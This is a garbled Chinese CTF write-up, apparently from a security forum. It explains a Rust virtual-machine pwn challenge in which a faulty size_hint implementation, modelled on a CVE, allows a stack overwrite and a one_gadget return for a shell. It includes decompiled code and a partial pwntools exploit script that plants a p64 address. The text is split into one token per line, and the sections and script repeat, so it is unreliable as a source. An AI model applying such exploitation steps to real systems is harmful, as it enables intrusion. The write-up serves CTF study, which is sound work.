题目是由 rust 编写的虚拟机类pwn题的变种,出于“play for fun”的想法,没有在漏洞之外的其他地方给题目增加额外的难度,所以各位师傅拿到的都是没有删符号表的debug版二进制文件,希望师傅们玩的开心。
主要思路来自于 CVE-2021-2993,由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
size_hint()
is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of size_hint()
should not lead to memory safety violations.
官方文档中指出了不能过于信任 size_hint 函数,因为它返回迭代器上下界,但可以由用户自行定义其行为,对于实现不规范的情况,该函数有可能会导致错误。在本题中,该函数导致了越界读写,最终能够修改返回地址使得其返回到One_gadget,最终拿到shell。 出题人经过测试之后发现,只有在 Ubuntu16 上能够直接利用One_gadget直接拿到shell,考虑到考点只有这个,所以也没有在这方面另外增加难度,最终的EXP只要把U16的OG都试一遍就能拿到了(因此也被师傅们打爆了,只能说自己还是太菜了,拿不出非常精巧的利用)。
由于 rust 向来以安全性著称,因此发生在rust中的漏洞感觉会比C语言更好玩一些,因此将该漏洞换了一种方式展现在题目里了。
继续逆向,发现有一个特别的操作“ext_stack”,其中有一段特别的检查:
结合上面expect中的字符串:
以及查阅rust文档中提到的 size_hint 函数可知,该函数返回一个对象的上下界元组,而上面的 if 要求对象的上界加上当前栈的长度小于栈的capacity。
同时,也注意到文档中描述 size_hint表示,其并不能过于信任,因此着重关系该函数的实现。
继续逆向,发现该函数的输入对象是string_vec,往上寻找可能的操作,观察对应函数可知,string_vec大致实现了一个大致实现了一个简化后的deque,因此有可能发生回绕。
最后通过精心构造deque的结果实现溢出写栈的length,就会让len函数返回意外的值而不发生panic,于是再往栈里写数据就能够实现任意地址写了。最终写返回地址为one_gadget即可。
exp:
```
由rust编写的虚拟机pwn的变种,程序没有删符号表,希望能玩的开心。
主要思路来自于CVE
-
2021
-
29939
,一个发现在rust代码中的高危漏洞。由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
> `size_hint()`
is
primarily intended to be used
for
optimizations such as reserving space
for
the elements of the iterator, but must
not
be trusted to e.g., omit bounds checks
in
unsafe code. An incorrect implementation of `size_hint()` should
not
lead to memory safety violations.
由于 rust 向来以安全性著称,因此发生在rust中的漏洞就显得更加特殊一些,因此将该漏洞换了一种方式展现在题目里了。
通过逆向能够发现,程序会读取若干指令然后模拟执行,所以首先应该把握整个程序的大致意图。
然后是因为 rust 编写的缘故,运行时保护也比较多,对于各种非法操作都会很容易的导致panic,所以需要对整个程序的流程把握的比较明确。
然后发现程序使用StackVec来模拟虚拟机中的栈,逆向可知它们也都是建立在栈上而不是堆上的,且还通过length来指示栈当前内容的长度。
```c
vmvec::lib::StackVec<[u64_
64
]>
*
__cdecl vmvec::lib::StackVec$LT$A$GT$::new::h550b99ccd348adea(vmvec::lib::StackVec<[u64_
64
]>
*
retstr)
{
char v2[
512
];
/
/
[rsp
+
28h
] [rbp
-
600h
] BYREF
char src[
512
];
/
/
[rsp
+
228h
] [rbp
-
400h
] BYREF
char dest[
512
];
/
/
[rsp
+
428h
] [rbp
-
200h
] BYREF
memcpy(dest, src, sizeof(dest));
memcpy(v2, dest, sizeof(v2));
retstr
-
>length
=
0LL
;
memcpy(&retstr
-
>data, v2, sizeof(retstr
-
>data));
return
retstr;
}
由rust编写的虚拟机pwn的变种,程序没有删符号表,希望能玩的开心。
主要思路来自于CVE
-
2021
-
29939
,一个发现在rust代码中的高危漏洞。由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
> `size_hint()`
is
primarily intended to be used
for
optimizations such as reserving space
for
the elements of the iterator, but must
not
be trusted to e.g., omit bounds checks
in
unsafe code. An incorrect implementation of `size_hint()` should
not
lead to memory safety violations.
由于 rust 向来以安全性著称,因此发生在rust中的漏洞就显得更加特殊一些,因此将该漏洞换了一种方式展现在题目里了。
通过逆向能够发现,程序会读取若干指令然后模拟执行,所以首先应该把握整个程序的大致意图。
然后是因为 rust 编写的缘故,运行时保护也比较多,对于各种非法操作都会很容易的导致panic,所以需要对整个程序的流程把握的比较明确。
然后发现程序使用StackVec来模拟虚拟机中的栈,逆向可知它们也都是建立在栈上而不是堆上的,且还通过length来指示栈当前内容的长度。
```c
vmvec::lib::StackVec<[u64_
64
]>
*
__cdecl vmvec::lib::StackVec$LT$A$GT$::new::h550b99ccd348adea(vmvec::lib::StackVec<[u64_
64
]>
*
retstr)
{
char v2[
512
];
/
/
[rsp
+
28h
] [rbp
-
600h
] BYREF
char src[
512
];
/
/
[rsp
+
228h
] [rbp
-
400h
] BYREF
char dest[
512
];
/
/
[rsp
+
428h
] [rbp
-
200h
] BYREF
memcpy(dest, src, sizeof(dest));
memcpy(v2, dest, sizeof(v2));
retstr
-
>length
=
0LL
;
memcpy(&retstr
-
>data, v2, sizeof(retstr
-
>data));
return
retstr;
}
if
( v15
+
v14 > vmvec::lib::StackVec$LT$A$GT$::capacity::he837472c501b6732(
self
) )
if
( v15
+
v14 > vmvec::lib::StackVec$LT$A$GT$::capacity::he837472c501b6732(
self
) )
v3.data_ptr
=
"iterable must provide upper bound.assertion failed:
self
.
len
()
+
upper_bound <
=
self
.capacity()assertion failed: step !
=
0
v3.data_ptr
=
"iterable must provide upper bound.assertion failed:
self
.
len
()
+
upper_bound <
=
self
.capacity()assertion failed: step !
=
0
core::ptr::write::h5bcec47e57c65cec(dst, src);
core::ptr::write::h5bcec47e57c65cec(dst, src);
from
pwn
import
*
context.log_level
=
'debug'
def
vec_int(index):
str1
=
"vec int >> "
str2
=
""
for
i
in
range
(index):
str2
+
=
str
(i)
str2
+
=
","
str3
=
str1
+
"["
+
str2[:
-
1
]
+
"]"
print
(str3)
def
vec_str_name(name,index):
str1
=
"vec "
+
name
+
" str >> "
str2
=
""
for
i
in
range
(index):
if
i
=
=
23
:
str2
+
=
p64(
0x5555555dad60
)
else
:
str2
+
=
str
(i)
str2
=
str2
+
","
str3
=
str1
+
"["
+
str2[:
-
1
]
+
"]"
print
(str3)
def
pop_back_n_name(name,n):
str1
=
"adj "
+
name
+
" str"
+
" >> pop_back"
str2
=
""
for
i
in
range
(n):
str2
+
=
str1
+
"\n"
str2
=
str2[:
-
1
]
print
(str2)
def
pop_front_n_name(name,n):
str1
=
"adj "
+
name
+
" str"
+
" >> pop_front"
str2
=
""
for
i
in
range
(n):
str2
+
=
str1
+
"\n"
str2
=
str2[:
-
1
]
print
(str2)
def
stack_ext(name):
str1
=
"adj "
+
name
+
" str >> stack_ext"
print
(str1)
def
switch_stack():
print
(
"switch_stack"
)
def
cal(op,obj):
str1
=
"cal "
+
op
+
" "
+
obj
print
(str1)
exp
=
p
=
process(
"./attachments"
)
p.sendline(exp)
p.interactive()
from
pwn
import
*
context.log_level
=
'debug'
def
vec_int(index):
str1
=
"vec int >> "
str2
=
""
for
i
in
range
(index):
str2
+
=
str
(i)
str2
+
=
","
str3
=
str1
+
"["
+
str2[:
-
1
]
+
"]"
print
(str3)
def
vec_str_name(name,index):
str1
=
"vec "
+
name
+
" str >> "
str2
=
""
for
i
in
range
(index):
if
i
=
=
23
:
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-6-3 12:28
被kanxue编辑
,原因:
上传的附件: